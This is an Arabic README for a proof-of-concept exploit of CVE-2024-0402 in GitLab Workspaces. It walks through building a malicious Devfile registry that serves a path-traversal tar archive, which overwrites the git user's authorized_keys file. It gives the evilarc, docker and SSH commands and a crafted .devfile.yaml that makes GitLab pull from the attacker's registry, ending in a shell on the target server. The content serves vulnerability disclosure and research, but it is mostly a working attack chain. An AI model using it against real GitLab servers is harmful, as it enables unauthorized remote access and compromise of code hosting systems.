
استغلال CVE-2024-0402 لـ GitLab Workspaces باستخدام سجل Devfile ضار مع أرشيف traversal للمسار لاستبدال authorized_keys والحصول على وصول SSH.
يحتوي هذا المشروع على سجل Devfile خبيث يمكن استخدامه لاستغلال CVE-2024-0402 في Gitlab.
تم فهرسة مجموعة nodejs:2.2.1 لكشف ملف archive.tar الذي يستغل مشكلة اجتياز المسار في مكتبة registry-support قبل الإصدار v1.1.0.
موقع tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
تم إنشاؤه باستخدام evilarc.py لاستبدال ملف /var/opt/gitlab/.ssh/authorized_keys في خادم Gitlab المستهدف بمفاتيح SSH الموجودة ضمن مجلد ssh-keys/ في هذا المستودع.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
بمجرد التشغيل، سيقوم السجل بإضافة ملف .tar الخبيث إلى المجموعات القابلة للجلب.
انظر إلى index.json الذي يسرده ضمن موارد المجموعة:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
قم بتكوين مثيل Gitlab EE بإصدار <=16.8.0. قم بتمكين Workspaces عليه باتباع الوثائق والملاحظات الإضافية في مقالتنا المخصصة من سلسلة !exploitable series blogpost.
عندما تكون جاهزًا، اتبع الخطوات التالية:
قم بتشغيل docker build -t devfile-index . في جذر هذا المستودع لبناء صورة حاوية السجل
قم بتشغيل docker run -d -p 5000:5000 --name local-registrypoc registry:2 لتشغيل سجل حاويات محلي سيستخدمه سجل Devfile لتخزين المجموعة. ملاحظة: يجب عليك تعديل الأمر لتعريضه حسب حاجتك. بالنسبة لنا، كان كل شيء يحدث في بيئة محلية
قم بتشغيل docker run --network host devfile-index لبدء تشغيل سجل Devfile الخبيث الذي تم بناؤه في الخطوة الأولى. ملاحظة: كما في السابق، قم بتعديل أمر التشغيل حسب رغبتك لجعله قابلاً للوصول من قبل مثيل Gitlab
قم بتسجيل الدخول إلى خادم Gitlab المستهدف كمطور، ثم قم بتعديل ملف .devfile.yaml لمستودع تملكه. يجب أن يستغل YAML الفرق في المحلل اللغوي للسماح بالجلب من السجل الخبيث
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
لتشغيل كتابة الملف في واجهة مستخدم Gitlab، فقط ابدأ Workspace جديدًا في المستودع المعدل.
بعد بضع ثوانٍ، يجب أن تحدث كتابة الملف التعسفي وسيتم إضافة ssh-keys/pockey.pub إلى authorized_keys للمستخدم git
يجب أن تكون قادرًا على الاستمتاع بقشرة غير مقيدة كمستخدم git باستخدام
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>